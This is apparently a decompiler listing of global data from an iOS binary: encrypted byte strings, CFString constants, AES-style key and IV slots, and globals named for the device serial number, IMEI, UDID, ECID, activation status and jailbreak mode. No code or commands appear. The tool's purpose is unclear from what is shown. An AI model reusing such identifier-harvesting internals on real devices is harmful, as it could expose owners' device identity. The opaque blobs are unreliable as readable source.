char asc_10029BC60[17] = "\xDB\xECVhs\xE3\x75\x1ByH\x88\x04\xED\x2F\xA6\xB7a"; // weak
char asc_10029BD85[5] = "\x12\a^\x8B"; // weak
char asc_10029BE10[56] = ">\xE3\xFA\x6B-\xB1\xE9\xA8\x2D\x8F\x85ȹ0\xF97\xDB\x3C\x1F>\xDE\x78㩜Lm\xAAQN\xE6\x80\xEB+{S\xBB\xF1\x74\x07\x02\x94\f\xC1\xE8\x10t\xBC;\xE9\x6C\xE4A\x9D\xA0\xFF"; // weak
char asc_10029BE80[39] = "\xE0\x18\x85\xD9\x71\xDC\xC0\xB4\x94 \xB1\x87\x1C\xB8\x8A\xDB\x48\x1C\x8B\xAD\x817\xA0nix\xA9\xBF\xF7\x99\x59\x17\x19\x8B\x00\xC4\x58'\x15"; // weak
char asc_10029BED0[17] = "\xFE\x8F\xB8\x1B\xD9\x1A\x00`\xA9\x0F^\x88(\x81\x8A\xB4\x84"; // weak
char asc_10029BF20[34] = "\tH\xAD \xF9d\xB0\x8F\xF3\xF4\x1D\x7C\x9C\xBC\x16\xE2\x6D\x6F\xB2\x1E$5\xE9\xD0\x82\x1E\"l\xCE\x0A\xF5\x23\xEC\xF6"; // weak
char aP_14[17] = "p;\xDF\x7EEgJ\xE1\x51\x7C\x0E\xB2Xubo\x93"; // weak
char asc_10029C100[34] = "\xD9\x6E\x89o\x1Eؚ\xA1f\xA77f\xDC\x2E\xCB\x5A\x96\x1E\xBE^A\x97\xB8N\x0EN\xFE/\x7F}\xA2\x11L\x1C"; // weak
char aR_18[27] = "ڒ\xD4\xC7\xD4\xC0iTX\xE4\x9F\xE1\xF2\xE2\xEC\x41\xC3\xD9(\x14\xF3\x6D\x3C\xDA.\xFF"; // weak
char asc_10029D09F[15] = "\xE5\x8E\x02\x80\xA4\x9Bhn\xAF\x00%\xFC\xA4\f\xFE"; // weak
char asc_10029D0BB[13] = "\x1B\xF7\xC2\xED\x67\x96Q\x1Fe\x83\xB3&"; // weak
char asc_10029D0D6[14] = "\r<\xBF;\t\xF9\a\xF5\xA9\x2E\xB7\x83\x05\x98"; // weak
char aBm[33] = "Bm\x1A\x13\x95n\xA0u\xFC\xE9\x92\x1D\x8CrO5&:م抛\fHp\x06\xEE\xDB\x60\x06\xC2\x2E"; // weak
__CFString cfstr_Bm =
{
&__CFConstantStringClassReference,
1992LL,
"Bm\x1A\x13\x95n\xA0u\xFC\xE9\x92\x1D\x8CrO5&:م抛\fHp\x06\xEE\xDB\x60\x06\xC2\x2E",
32LL
}; // weak
char aVe[8] = "ve\x9E\x9AS+\xF8\xAC"; // weak
char asc_10029D265[5] = "\x8A|\x0F\fw"; // weak
char aC2[13] = "C\x022\f%\xB7=\x95n&\x92\vc"; // weak
char asc_10029D292[14] = "\x13\xE8\x48\xB2j\xC1\x6Al\x13\x93\x16ÝX"; // weak
char asc_10029D2A9[9] = "\r?\xE1\x3F\x98\xCE\x49\xB8\x02"; // weak
char aYe[5] = "\x18\aYe\xBF"; // weak
char aN2[4] = "`Ň2"; // weak
char asc_10029D300[37] = "\x1A<\xEA\x7B\x42\xBD\x1D@\xAC\x80\xDA\xC5\x854EvtuB4\xACP\x86\x9A\xBFa\x82\xF5\xD5\x9F\x81\x94&\x9F\x81\xBD\x9D"; // weak
char aI_12[4] = "\x7F I\xBD"; // weak
char asc_10029D339[12] = "\xACQ\x93\xAC\xBB\xF7\xBA\x8A\xED"; // weak
char asc_10029D5F0[21] = "\xA8\xF0\x45\xE3\x3F4\x88\x16Ӓk7-b\xDE\xE9\xB2k"; // weak
char asc_10029D612[13] = "\xBF\x99\xB9\ta \xF5\x66\x60\x47H\a"; // weak
char asc_10029D624[5] = "\xDA\x0D\x8E\xD8\xE1"; // weak
char aRe[9] = "RE\xD9\x09i\x91#\xA3w"; // weak
char asc_10029D63F[4] = "\x99C"; // weak
char aWd[1785] = "\x15wd\xF1\x7F\x79\x5Dؖ4k\xA4\xE5\xA8\x05\xB4\xF2\xB5\xE6\x4D\xEC\xD9\xA3\x93\xB2\xD0\xC0wb\xF6\xC2\xA0\x95\xE3\xFA\x90}\x15\xFD\xC0\xA9\x80ݎ\x12\xD1\xDDVg\xFB\xCE\x61\xB0\xBD\xF8y\xEC\xF6\x3F\x15\xA6\x040\xA1\xB7\v\xA3\xA7$ߖX\rO\x84\xDC\x6A\x15\xBD)\xE0\x6D\xA7aR\xB3[\xAB\xAF\xF5\xC0\x0B\xE6П\xF3\xB2\x01\x4A\x83\x938>\xD6\x33N;\x1E˨\x1C\xA5KN\"\x9EN\x1B\x8AX\xDE\x44b\\K\xEF\xD3\xAF\xE6\x09\xF0v\x00vu\xC7\x49I\xCF\x02L\x95!\xFA\x82\xF4\x63\x63\xE7(Su\xBA\x1F$,\xD7\xDF\xEC\xE9\x86\x06\xD8\xF0\xA3]\x1D\xD4\x50\x19\xF3\x79\xDA\x96\xBF\x19\x06\xF1\xBC\xD6\xB6\x90\x19\xE4\x19\x6Dh\x83\x9C,¶>?\x80\x13\x88\x85\xCC\xFE\xF8\xFA\xDC\xFBt\xA9R\b\xB3\x9C\xFF+\x9EV?/D[\u05CD`\v\xA8\x9BL\x93\xE8\x27\x84\xDD\xE1L0{\xEC\xCD\xB3,\xF1\x74\x18\xE0\x97\xEB(NI\xEF\x10\xA9\xE6\x42\xABTǽ*Uf\x0E§:\x15[.\xA0\xC2\xD4k\x85\xEB\x47\xED8\xAF\x83\xAD\xBF\xCC\x04\xFB+F\nZ\xC6\xEE%\xA6\x94\xE7\x42\x3B\xC5\x57\v\xA4y[]\xABݶ\xAE\x134T\xF9\"\xEC\x4D\x77 \xA1\xFB\xF9\xC5\x56쭪s\xDC\x43\xDC\x3E\xB6\f\xB7PA\x91\x1EU\x81B\xD0\x45\xABuD\xCF\x2B\xEC\x91\xDC\x9B g:\xF1\x8C\xC0\x40\xE2\x1B\xC9Z\xDB\x40\x1FE\xA98\xA09\x8A%N\xD3\x06\u36F34r\x98\x11=4\xB9\xA5\xD7\x63a>m0.\xBC\x88\x13\x966s\x992\xC2\xFA\xC7\xFDW\xF5\xD7\x84\x55\x16R\xF9\xBF\xBF\xE9\xD2\x92\xBA&n<xW'\x83\x81kx\xEC\xA7\x48\xB8l\xE0\x78\x4E\x94\x04\x83\xC2\xC6G)\xBF\x87Ƅi\xA7\xE8\xCF\xC6\xA3\x92\xAF:\xF3\xA5\x57\x9C\xEA\xE8\x7B\x8E\x00\x8B؉\xE6\x56\x05P\xBFg\xDD\xC0\x8Fn\xD5\x7A\xDB\x73\xFCE\x9B\xFF\xF6\x55\x0E\xDE\xA5\xF2\xD2\x02\xDCQ\x96\xC7\x54L\xCE\xCB\xF6\xA3\x29\x54\xE0\x31\x0DJr\xCF\xE3>\xB6\xD9\x0F7.\xB6\xB4,\x9A\xD5\xDB`C\x11\x82\xF1\xDD\x51\x1E\xFE\x83\x04*\xCC\x49\xE3\x5B\xF4\xBD\xB0(\x8C\xE3\x56\xA3b{$\x0E\xA2\xBD\xA2É\x93^\xA9{?h\xEB\x57\x0CxI\xB9l\x88A\xA8e5\x8A\xEC\xDA\x02r}\xFFƗޠe\xE6\xC3\x48G\x170\xBA\xFE\x06\x8F\xDA\xEB9\xF2\xF8\xA3\xFA\xEF\x3A\x76\xC3\x1B \x90\xE8\xE7\x4CQ\x1Db\x8D\xB14h\x90\n\t^\x9Cp\x81\xC1\x41\x1F >\x89M\xBF\xF7\x1E\xC8\xFB\x94\x11<\x89?(\a}<\x9E\xA8\xA1\xEC\x03\xED_\xC2\x15I\f\x81\b|\x12\x8E\xE9\xFB\x6D\xEB\x9F\x5A\x00k\x8D\x8Fe\xE5\x4F\xE8\xEE\x46\xE8C\x91.s\x88\x00z\xD9\xDF\xDD\xEB\x1E\x11;\n-\x85T\xC9\x75\x85t\x02\xB9\b\x0F,\xCB\x3C\xB0-y\xB8\xE1\x98\xEB\xFE]\x81X\x13\xAE\x15yM\xAB͆\xE7\x46\x83*\xCB\x14\x8B\x9D\x8Ca\xED\x31\x4F\x90\xFCL>ɱ\x85\xE0\xF9\x24\x06\xD8\xC8\x1E\t\xFF\xF3\xAF\x24\xC3\xC0\xE3\xF7\xAD\x73\x308k\xF0\x38\x3D\xF5\x03\x9B-\xC4\xF0D\xF5\xF0\xDA\x82\x91\xAD\xA3ح\x8F\x96\xC3\xE3\xFE3\v*^\x11\x92vr\\v\x04\x91=\xFC\x1BQֿ\xA0s\x85|\xDC\x60Ն\xB9G\xE4\xEF\xFBټ\xB1\xC7\xE2\f+7\xDB\x15\xC2\xEE\x18~M\x99u}`\xA3+\xF5\xB8\xEF\xFD'\x9B\xFF\xB2w\xE4\xE9\x40\x9F\xFDG'r\x8C\xE6\x7A\x7F$\xBA6\x96=\x05\xED\x26\x8F˙*\x87\x12\xD8\x40\xFFBH\x14\xC4\x62\x01\xB6Io\xC8\x7AT\xC4\x62\xB3\xD1\xEC\x85\x19-\x1ED\xB6K\x03 \x93\xCE\x4D\xBB\x862\x94\xC8\x16V\x1C\x15\xBD^CÅ\x11f\xACsn\x88'@\xB8\x054\xCC\xFD$\x8F7\xB3d\r\x93\xC1\x1E{\x83\x16;xEQ\x7F\x12\xDF\x32YIR\x95w0\xE0\x2C\x52ZA\xD9\x6E\xF88\xF0\x42\x9E\xBF\xDF\x41\xC1\x48s\x7F\xA8TN4Bev\x8D\x87\x95\xEF\x41\x99o\xDB\x38d\xD8\x43R\x11\x9C\xB3a\xF0\x18\x2A\x68\xE4\xB5\x01\x17!I\x15`\x1A\x90X\x88D\xAA\xB1\xCF\x02<\xC5\x6C\x8D\xA5\x8F\xD2\x3EC\xFA\xD0\x051Ʃ\x87Т\tN\xD3\xE4\xFCa\x88\x17A\xDD\x04\xFD\x11\x0EWJ\xFE n\xAB\xDB\x0E\xFA\xE9\xB2\x06\xD9\x3B\xD5\x2B\x90X\xF2\x23\xBE\xC8\xFA\xFE\x0E\xB3]wq\x00\x7F\xCD\x05\xD4\xCF\xC9\x60w\xCA\xDFJw\xD8\xECUʕ$s\xE3\xD2\xABtA\x0EŤ\xBC\xDD\xE5\xA9\x90\x86\xDF\x0Da\x05\x96*$\x81S\x1C\x7F\x1E\xDF\x41\x0E3w\x01T#j\xC0\x31\xC3\x0Bt/\xBDp\x9A\x81,\v5\x8C\x9B\xC1\xDC\x85-k\x05\xEA\x8D\x7E\xEA\x69\xFD\n\x02\x1Dg\x9DH\xC3\xDF\xA0#C\xABZr\x96o\x15\xEA\x77\x69Ԝas\xF0\xA9\xFE\x24\x83\xB0X!\x1FR\x9D\x0F\xAA\x90I,{\x80){\xC4\x52\xAE\x03\x14\x98E\x14\x9DL\xD5\x41\xE9\xD5\x77\xD9\x6D(\xE9\xDB\x8C.,\xFC\xFD\x82!\x82_u\x1B\xDC\x36\xC0\xDA\x8E\xBAi\x92\xA9\xAD\x10\x1D!\x90\xCD\xCD\x9E\xB6\x15\x16KsUmm<\xFFH\xFA;\xD9\xCE(֯\xB3]M\x8AB6W\xBF'iȳ\xABo\xFC\xC4\xE5V\xEE\x43\x47\x9A\xD3\x09+#m*\x9DXb\xB4\x04y\x9Aa\x10\xB4\x90\x91\xAD\xA7*\x84\xED\xC0\xDB\xB6\x8B\x8F\xEA\x7F\x94\xF8\x92\xD2\xCE\xB9ő\xD7\x3D\x8A\x98\x05\xB7\xF0\x88\x13\xF5;]\xF2\xD5\x82\xEE\x1C\xFB\xED\x61\x40\x13\xAA\x80\xFE\xA4Q\\\x10\x8C\x1CC\xF7\x15\xFD\x89 \x9F\xC7\x64\x94\xBF\xE5\x2D\x2E/X\x9B\xE9\x01\x72\xF0\x91\x81\x16\xA42}\xF1\x05\x01\xEE\xF4\xB3\x07\xE5\xC1\x313\xBD\xED\x47\xE2\xF8\x05\x83\xA4\xE0\xA7\x7A\x15\xF3\xB9\xFE\x36\x1FW,\xD9\x22ٝ\xA3\xD8\x768\xF6\x94\x88\x044a\xA7\x7F\x8B\xA7\x18\fRW\x995\x1E\xF1\x67\xED\x2Bb\x9F\"\x18;\x97\x06\x16\x11%Y\x7Fo\xF3\x2E\xE8\x7F\x89\x80\t\x1B9oQ\xF3\x62\xA5\x75\xFAv\xFFPGq\xCB\xF5\xDC\x54hY\xCA\x3CB*\xAF0Iۄw\x854\x8D_t\xEC\xCD\x6Dsi\xCD\x44u\xFD\xB5\xD7\x1Cq,\xD5\x51\xBA#\xBA\xB42i\xCB\x5D\x062\xB84W\x1DN\nq\xD8\xF3\vwҚ\xA8\xED\x66\x08a\x82ړv\xFCe-\"(\xA3\x1C\xEE\x8C\xE8\xE8\x29\xA0\x1Cc\x8D\xF6\xF2\x18\x6DҪ\xED\x75\x1E\x9D\x9C\xE7\xEA\xF5\xAE\xD5\x46\x85a\u07BEl\xC2\xE3\xDB\x6C\x9D+\x83F\x02>\xDC\xD6#x\xC5\x5B\xFB\x8Ek\xA2\xAAܞL\x8D\xD1\x7CY\v\x8Bo\xAA\xFEW\x93\xA9\xF0\xC3\xE2\x98\xBE+\xCB\x26֯BvF\xC6\x26\x96r_@\xF8\x83\x05V2\x16!\xAB<\xB0\xE6\x02\x2D\xBD\x0F`n\xB6\xCC\xC9\x8C(\xC7\x0B\x12\x18\xC7\x0B\x81\x19\xAC\xD8\xC4\x92\xED\x64\x3B\xD3\x67*F߶B\xFA\x10\xFA\xB5\xE6\x3C\x97\x9CG\x88Y\x95\x86\x9F\xB3;U\x86\xA3\x9C\x17\xFB\x04Xh\xCA\xE2I<\x84\xB2+\x9E#)\t\xDE\x4A[\x03\x18s\x1BD\xB4\xEB\xC1\x6E+\xF9\x16\x877\xFE\x18!\xF9\x89/NH\x12\xA1g\x16\x92Oeh\x1A\xF0\xD3\x53\x7C\x85\xD0\xF7q\x8F<qP"; // weak
__CFString cfstr_Wd =
{
&__CFConstantStringClassReference,
1992LL,
"\x15wd\xF1\x7F\x79\x5Dؖ4k\xA4\xE5\xA8\x05\xB4\xF2\xB5\xE6\x4D\xEC\xD9\xA3\x93\xB2\xD0\xC0wb\xF6\xC2\xA0\x95\xE3\xFA\x90}\x15\xFD\xC0\xA9\x80ݎ\x12\xD1\xDDVg\xFB\xCE\x61\xB0\xBD\xF8y\xEC\xF6\x3F\x15\xA6\x040\xA1\xB7\v\xA3\xA7$ߖX\rO\x84\xDC\x6A\x15\xBD)\xE0\x6D\xA7aR\xB3[\xAB\xAF\xF5\xC0\x0B\xE6П\xF3\xB2\x01\x4A\x83\x938>\xD6\x33N;\x1E˨\x1C\xA5KN\"\x9EN\x1B\x8AX\xDE\x44b\\K\xEF\xD3\xAF\xE6\x09\xF0v\x00vu\xC7\x49I\xCF\x02L\x95!\xFA\x82\xF4\x63\x63\xE7(Su\xBA\x1F$,\xD7\xDF\xEC\xE9\x86\x06\xD8\xF0\xA3]\x1D\xD4\x50\x19\xF3\x79\xDA\x96\xBF\x19\x06\xF1\xBC\xD6\xB6\x90\x19\xE4\x19\x6Dh\x83\x9C,¶>?\x80\x13\x88\x85\xCC\xFE\xF8\xFA\xDC\xFBt\xA9R\b\xB3\x9C\xFF+\x9EV?/D[\u05CD`\v\xA8\x9BL\x93\xE8\x27\x84\xDD\xE1L0{\xEC\xCD\xB3,\xF1\x74\x18\xE0\x97\xEB(NI\xEF\x10\xA9\xE6\x42\xABTǽ*Uf\x0E§:\x15[.\xA0\xC2\xD4k\x85\xEB\x47\xED8\xAF\x83\xAD\xBF\xCC\x04\xFB+F\nZ\xC6\xEE%\xA6\x94\xE7\x42\x3B\xC5\x57\v\xA4y[]\xABݶ\xAE\x134T\xF9\"\xEC\x4D\x77 \xA1\xFB\xF9\xC5\x56쭪s\xDC\x43\xDC\x3E\xB6\f\xB7PA\x91\x1EU\x81B\xD0\x45\xABuD\xCF\x2B\xEC\x91\xDC\x9B g:\xF1\x8C\xC0\x40\xE2\x1B\xC9Z\xDB\x40\x1FE\xA98\xA09\x8A%N\xD3\x06\u36F34r\x98\x11=4\xB9\xA5\xD7\x63a>m0.\xBC\x88\x13\x966s\x992\xC2\xFA\xC7\xFDW\xF5\xD7\x84\x55\x16R\xF9\xBF\xBF\xE9\xD2\x92\xBA&n<xW'\x83\x81kx\xEC\xA7\x48\xB8l\xE0\x78\x4E\x94\x04\x83\xC2\xC6G)\xBF\x87Ƅi\xA7\xE8\xCF\xC6\xA3\x92\xAF:\xF3\xA5\x57\x9C\xEA\xE8\x7B\x8E\x00\x8B؉\xE6\x56\x05P\xBFg\xDD\xC0\x8Fn\xD5\x7A\xDB\x73\xFCE\x9B\xFF\xF6\x55\x0E\xDE\xA5\xF2\xD2\x02\xDCQ\x96\xC7\x54L\xCE\xCB\xF6\xA3\x29\x54\xE0\x31\x0DJr\xCF\xE3>\xB6\xD9\x0F7.\xB6\xB4,\x9A\xD5\xDB`C\x11\x82\xF1\xDD\x51\x1E\xFE\x83\x04*\xCC\x49\xE3\x5B\xF4\xBD\xB0(\x8C\xE3\x56\xA3b{$\x0E\xA2\xBD\xA2É\x93^\xA9{?h\xEB\x57\x0CxI\xB9l\x88A\xA8e5\x8A\xEC\xDA\x02r}\xFFƗޠe\xE6\xC3\x48G\x170\xBA\xFE\x06\x8F\xDA\xEB9\xF2\xF8\xA3\xFA\xEF\x3A\x76\xC3\x1B \x90\xE8\xE7\x4CQ\x1Db\x8D\xB14h\x90\n\t^\x9Cp\x81\xC1\x41\x1F >\x89M\xBF\xF7\x1E\xC8\xFB\x94\x11<\x89?(\a}<\x9E\xA8\xA1\xEC\x03\xED_\xC2\x15I\f\x81\b|\x12\x8E\xE9\xFB\x6D\xEB\x9F\x5A\x00k\x8D\x8Fe\xE5\x4F\xE8\xEE\x46\xE8C\x91.s\x88\x00z\xD9\xDF\xDD\xEB\x1E\x11;\n-\x85T\xC9\x75\x85t\x02\xB9\b\x0F,\xCB\x3C\xB0-y\xB8\xE1\x98\xEB\xFE]\x81X\x13\xAE\x15yM\xAB͆\xE7\x46\x83*\xCB\x14\x8B\x9D\x8Ca\xED\x31\x4F\x90\xFCL>ɱ\x85\xE0\xF9\x24\x06\xD8\xC8\x1E\t\xFF\xF3\xAF\x24\xC3\xC0\xE3\xF7\xAD\x73\x308k\xF0\x38\x3D\xF5\x03\x9B-\xC4\xF0D\xF5\xF0\xDA\x82\x91\xAD\xA3ح\x8F\x96\xC3\xE3\xFE3\v*^\x11\x92vr\\v\x04\x91=\xFC\x1BQֿ\xA0s\x85|\xDC\x60Ն\xB9G\xE4\xEF\xFBټ\xB1\xC7\xE2\f+7\xDB\x15\xC2\xEE\x18~M\x99u}`\xA3+\xF5\xB8\xEF\xFD'\x9B\xFF\xB2w\xE4\xE9\x40\x9F\xFDG'r\x8C\xE6\x7A\x7F$\xBA6\x96=\x05\xED\x26\x8F˙*\x87\x12\xD8\x40\xFFBH\x14\xC4\x62\x01\xB6Io\xC8\x7AT\xC4\x62\xB3\xD1\xEC\x85\x19-\x1ED\xB6K\x03 \x93\xCE\x4D\xBB\x862\x94\xC8\x16V\x1C\x15\xBD^CÅ\x11f\xACsn\x88'@\xB8\x054\xCC\xFD$\x8F7\xB3d\r\x93\xC1\x1E{\x83\x16;xEQ\x7F\x12\xDF\x32YIR\x95w0\xE0\x2C\x52ZA\xD9\x6E\xF88\xF0\x42\x9E\xBF\xDF\x41\xC1\x48s\x7F\xA8TN4Bev\x8D\x87\x95\xEF\x41\x99o\xDB\x38d\xD8\x43R\x11\x9C\xB3a\xF0\x18\x2A\x68\xE4\xB5\x01\x17!I\x15`\x1A\x90X\x88D\xAA\xB1\xCF\x02<\xC5\x6C\x8D\xA5\x8F\xD2\x3EC\xFA\xD0\x051Ʃ\x87Т\tN\xD3\xE4\xFCa\x88\x17A\xDD\x04\xFD\x11\x0EWJ\xFE n\xAB\xDB\x0E\xFA\xE9\xB2\x06\xD9\x3B\xD5\x2B\x90X\xF2\x23\xBE\xC8\xFA\xFE\x0E\xB3]wq\x00\x7F\xCD\x05\xD4\xCF\xC9\x60w\xCA\xDFJw\xD8\xECUʕ$s\xE3\xD2\xABtA\x0EŤ\xBC\xDD\xE5\xA9\x90\x86\xDF\x0Da\x05\x96*$\x81S\x1C\x7F\x1E\xDF\x41\x0E3w\x01T#j\xC0\x31\xC3\x0Bt/\xBDp\x9A\x81,\v5\x8C\x9B\xC1\xDC\x85-k\x05\xEA\x8D\x7E\xEA\x69\xFD\n\x02\x1Dg\x9DH\xC3\xDF\xA0#C\xABZr\x96o\x15\xEA\x77\x69Ԝas\xF0\xA9\xFE\x24\x83\xB0X!\x1FR\x9D\x0F\xAA\x90I,{\x80){\xC4\x52\xAE\x03\x14\x98E\x14\x9DL\xD5\x41\xE9\xD5\x77\xD9\x6D(\xE9\xDB\x8C.,\xFC\xFD\x82!\x82_u\x1B\xDC\x36\xC0\xDA\x8E\xBAi\x92\xA9\xAD\x10\x1D!\x90\xCD\xCD\x9E\xB6\x15\x16KsUmm<\xFFH\xFA;\xD9\xCE(֯\xB3]M\x8AB6W\xBF'iȳ\xABo\xFC\xC4\xE5V\xEE\x43\x47\x9A\xD3\x09+#m*\x9DXb\xB4\x04y\x9Aa\x10\xB4\x90\x91\xAD\xA7*\x84\xED\xC0\xDB\xB6\x8B\x8F\xEA\x7F\x94\xF8\x92\xD2\xCE\xB9ő\xD7\x3D\x8A\x98\x05\xB7\xF0\x88\x13\xF5;]\xF2\xD5\x82\xEE\x1C\xFB\xED\x61\x40\x13\xAA\x80\xFE\xA4Q\\\x10\x8C\x1CC\xF7\x15\xFD\x89 \x9F\xC7\x64\x94\xBF\xE5\x2D\x2E/X\x9B\xE9\x01\x72\xF0\x91\x81\x16\xA42}\xF1\x05\x01\xEE\xF4\xB3\x07\xE5\xC1\x313\xBD\xED\x47\xE2\xF8\x05\x83\xA4\xE0\xA7\x7A\x15\xF3\xB9\xFE\x36\x1FW,\xD9\x22ٝ\xA3\xD8\x768\xF6\x94\x88\x044a\xA7\x7F\x8B\xA7\x18\fRW\x995\x1E\xF1\x67\xED\x2Bb\x9F\"\x18;\x97\x06\x16\x11%Y\x7Fo\xF3\x2E\xE8\x7F\x89\x80\t\x1B9oQ\xF3\x62\xA5\x75\xFAv\xFFPGq\xCB\xF5\xDC\x54hY\xCA\x3CB*\xAF0Iۄw\x854\x8D_t\xEC\xCD\x6Dsi\xCD\x44u\xFD\xB5\xD7\x1Cq,\xD5\x51\xBA#\xBA\xB42i\xCB\x5D\x062\xB84W\x1DN\nq\xD8\xF3\vwҚ\xA8\xED\x66\x08a\x82ړv\xFCe-\"(\xA3\x1C\xEE\x8C\xE8\xE8\x29\xA0\x1Cc\x8D\xF6\xF2\x18\x6DҪ\xED\x75\x1E\x9D\x9C\xE7\xEA\xF5\xAE\xD5\x46\x85a\u07BEl\xC2\xE3\xDB\x6C\x9D+\x83F\x02>\xDC\xD6#x\xC5\x5B\xFB\x8Ek\xA2\xAAܞL\x8D\xD1\x7CY\v\x8Bo\xAA\xFEW\x93\xA9\xF0\xC3\xE2\x98\xBE+\xCB\x26֯BvF\xC6\x26\x96r_@\xF8\x83\x05V2\x16!\xAB<\xB0\xE6\x02\x2D\xBD\x0F`n\xB6\xCC\xC9\x8C(\xC7\x0B\x12\x18\xC7\x0B\x81\x19\xAC\xD8\xC4\x92\xED\x64\x3B\xD3\x67*F߶B\xFA\x10\xFA\xB5\xE6\x3C\x97\x9CG\x88Y\x95\x86\x9F\xB3;U\x86\xA3\x9C\x17\xFB\x04Xh\xCA\xE2I<\x84\xB2+\x9E#)\t\xDE\x4A[\x03\x18s\x1BD\xB4\xEB\xC1\x6E+\xF9\x16\x877\xFE\x18!\xF9\x89/NH\x12\xA1g\x16\x92Oeh\x1A\xF0\xD3\x53\x7C\x85\xD0\xF7q\x8F<qP",
1784LL
}; // weak
char aY_20[5] = "͊Y\xA3]"; // weak
char asc_10029E620[6] = "\x90\x14`Mv"; // weak
char asc_10029E6F0[51] = "ߠ\xE3\x28\x3Dp\xF3\xCB\xDC\xE8Z\xF4\x52\x33\x6F0\xB1X\xFF\xE4\x19\xAF\xA7~\xFEw\x1C\x8ETP\x00\x96|\x8Al6\x8D\xDB\x05\x04$I\x9Cm\x11\b\x02~\x1E*"; // weak
char a1l[59] = "\r1l\"\x8E\xF2\x3B\x16\x71R\xA4%\x7F\x9BD\xA9@\x1C\x85䔤\xCC\xD3]|\xF2\xBE\xB8\x55\x8Fv\xAC\t\xD1\xDE\x89\xAC)\x1CO\x8A\x0ED1\xAC\xF89X\xC3\xF2d\x9B\xB3\xDE\x07\x91\xBB["; // weak
char asc_10029E7F0[61] = "\x95\xE8\x40\x26\x1A\xBF2\xF1\x61\x81\xB2\x8AY\xD4\x2E\xFA\xAC\v|\xD5\xDC|\xBB\xE2\x4E\xEC\xA1\"\xBEh\x93k\x12\x05\x04\xC5\x6Fv\xA9\x00\xEE\x8B\xF2\x97\x857b\xF2\x88\x2C\x31\x0FfDݻz;M-\x19"; // weak
char asc_10029E850[29] = "\xDD\x75=n\xAF\xDF\xEFy\xFB\x16\x8A\xFBp\xF4\x28\x60\x49\x0F\xB0\xA5B>\xAC\xCD\x14V\x8A\x89\x8F"; // weak
char aE_31[5] = "E\xAE"; // weak
char asc_10029E886[15] = "\xA0\xCB\x6DC\x98\xAA\x8EVZF\xCD\x58_44"; // weak
char asc_10029E8D0[36] = "\xDE\x6F\x8D\x05\xCD\xCA\xC2\x5Ev\x8B!%\xC1\x3C\xEC\xB8\xD6\xAE\x9E@\xAB,\xD0\x13Ñ|\x88\xF6\xBB\xD8\x7F\x10 79"; // weak
char aT_19[14] = "t\r\x1C\x98ߧJI\x15]\xB7h\b`"; // weak
char asc_10029E91B[11] = "\x9B\xFF/\xB2\xCF\x23\xC8\xEE\x13I"; // weak
__CFString cfstr_1l =
{
&__CFConstantStringClassReference,
1992LL,
"\r1l\"\x8E\xF2\x3B\x16\x71R\xA4%\x7F\x9BD\xA9@\x1C\x85䔤\xCC\xD3]|\xF2\xBE\xB8\x55\x8Fv\xAC\t\xD1\xDE\x89\xAC)\x1CO\x8A\x0ED1\xAC\xF89X\xC3\xF2d\x9B\xB3\xDE\x07\x91\xBB[",
58LL
}; // weak
int dword_10029F1E4; // weak
int dword_10029F1FC; // weak
int dword_10029F204; // weak
int dword_10029F218; // weak
int dword_10029F21C; // weak
int dword_10029F220; // weak
int dword_10029F228; // weak
int dword_10029F22C; // weak
int dword_10029F268; // weak
int dword_10029F280; // weak
int dword_10029F284; // weak
int dword_10029F288; // weak
int dword_10029F28C; // weak
int dword_10029F290; // weak
int dword_10029F294; // weak
int dword_10029F298; // weak
int dword_10029F29C; // weak
int dword_10029F2A0; // weak
int dword_10029F2A4; // weak
int dword_10029F2A8; // weak
int dword_10029F2AC; // weak
int dword_10029F2B0; // weak
int dword_10029F2B4; // weak
int dword_10029F2B8; // weak
int dword_10029F2BC; // weak
int dword_10029F2C0; // weak
int dword_10029F2C4; // weak
int dword_10029F2C8; // weak
int dword_10029F2D4; // weak
int dword_10029F2DC; // weak
__int64 time_init; // weak
id key; // idb
id iv; // idb
int dword_10029F350; // weak
int dword_10029F354; // weak
int dword_10029F358; // weak
id _SerialNumber; // idb
id _IMEI; // idb
id _UDID; // idb
id _ProductType; // idb
__int64 _iOSVersion; // weak
__int64 _ActStatus; // weak
__int64 _Model; // weak
__int64 _Carrier; // weak
id _JailbreakMode; // idb
__int64 _UniqueKeyAuth; // weak
__int64 _RegionCode; // weak
id _ECID; // idb
char _JailbreakStatus; // weak
char _breakLoop; // weak
int dword_10029F434; // weak
int dword_10029F438; // weak
int dword_10029F448; // weak
int dword_10029F454; // weak
int dword_10029F458; // weak
int dword_10029F45C; // weak
dispatch_once_t factoryRequest_device__onceToken; // idb
int dword_10029F470; // weak
int dword_10029F474; // weak
int dword_10029F478; // weak
int dword_10029F47C; // weak
int dword_10029F494; // weak
int dword_10029F49C; // weak
dispatch_once_t sendSecurityAlert_onceToken; // idb
dispatch_once_t CheckToolStatus_onceToken; // idb
int dword_10029F4B8; // weak
int dword_10029F4C0; // weak
int dword_10029F4C4; // weak
int dword_10029F4C8; // weak
int dword_10029F4FC; // weak
int dword_10029F500; // weak
int dword_10029F504; // weak
int dword_10029F508; // weak
int dword_10029F50C; // weak
int dword_10029F510; // weak
int dword_10029F514; // weak
int dword_10029F518; // weak
int dword_10029F51C; // weak
int dword_10029F520; // weak
int dword_10029F524; // weak
int dword_10029F530; // weak
int dword_10029F534; // weak
int dword_10029F538; // weak
int dword_10029F53C; // weak
int dword_10029F544; // weak
int dword_10029F548; // weak
int dword_10029F550; // weak
int dword_10029F554; // weak
int dword_10029F55C; // weak
int dword_10029F564; // weak
int dword_10029F568; // weak
int dword_10029F56C; // weak
int dword_10029F570; // weak
int dword_10029F584; // weak
int dword_10029F588; // weak
int dword_10029F58C; // weak
int dword_10029F590; // weak
int dword_10029F594; // weak
int dword_10029F598; // weak
int dword_10029F5A0; // weak
int dword_10029F5A4; // weak
int dword_10029F5A8; // weak
int dword_10029F5B4; // weak
int dword_10029F5B8; // weak
int dword_10029F5C4; // weak
int dword_10029F5C8; // weak
int dword_10029F5CC; // weak
int dword_10029F5D0; // weak
int dword_10029F5D4; // weak
int dword_10029F5D8; // weak
int dword_10029F5E0; // weak
int dword_10029F5E4; // weak
int dword_10029F5E8; // weak
int dword_10029F5EC; // weak
int dword_10029F5F0; // weak
int dword_10029F5F8; // weak
int dword_10029F5FC; // weak
int dword_10029F600; // weak
int dword_10029F604; // weak
int dword_10029F608; // weak
int dword_10029F60C; // weak
int dword_10029F610; // weak
int dword_10029F614; // weak
int dword_10029F618; // weak
int dword_10029F620; // weak
int dword_10029F624; // weak
int dword_10029F628; // weak
int dword_10029F634; // weak
int dword_10029F640; // weak
int dword_10029F644; // weak
